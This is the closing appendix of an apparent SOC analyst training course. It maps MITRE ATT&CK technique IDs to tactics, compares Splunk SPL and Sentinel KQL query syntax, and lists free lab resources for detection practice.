T1036.005	Masquerading (match legit name/location)	Defense Evasion
T1110.003	Password Spraying	Credential Access
T1003.001	OS Credential Dumping: LSASS Memory	Credential Access
T1018	Remote System Discovery	Discovery
T1021.002	Remote Services: SMB/Windows Admin Shares	Lateral Movement
T1560	Archive Collected Data	Collection
T1114.003	Email Forwarding Rule	Collection
T1005	Data from Local System	Collection
T1052.001	Exfiltration over USB	Exfiltration

ID	Technique	Tactic
T1041	Exfiltration Over C2 Channel	Exfiltration
T1071.001	Web Protocols (C2)	Command and Control
T1573	Encrypted Channel	Command and Control
T1486	Data Encrypted for Impact	Impact

A.5 Query Syntax Cross-Reference

Task	SPL (Splunk)	KQL (Sentinel)
Filter	index=x field=value	TableName where field == "value"
Group & count	stats count by field	summarize count() by field
Time bucket	bin _time span=5m	bin(TimeGenerated, 5m)
Distinct count	stats dc(field)	summarize dcount(field)
Threshold filter	where count > 5	where Count_ > 5
Join/lookup	lookup table.csv key OUTPUT field	join kind=inner (Table2) on key

A.6 Suggested Free Practice Resources

- Atomic Red Team (github.com/redcanaryco/atomic-red-team) — safe, individual ATT&CK; technique simulations.
- Wazuh documentation and free all-in-one installer — fastest path to a working home SIEM.
- SwiftOnSecurity's public Sysmon configuration — the community-standard starting Sysmon config.
- MITRE ATT&CK; Navigator — visualise and track your own detection coverage against the full matrix.
- Abuse.ch feeds (URLhaus, MalwareBazaar, ThreatFox) — free, high-quality threat intel for lab enrichment practice.

End of course. The fastest way to make this material permanent is to rebuild every case study in Chapter 8 inside your own lab from Chapter 13, in your own words, without looking back at this PDF until you're stuck. Good luck, Abhirup.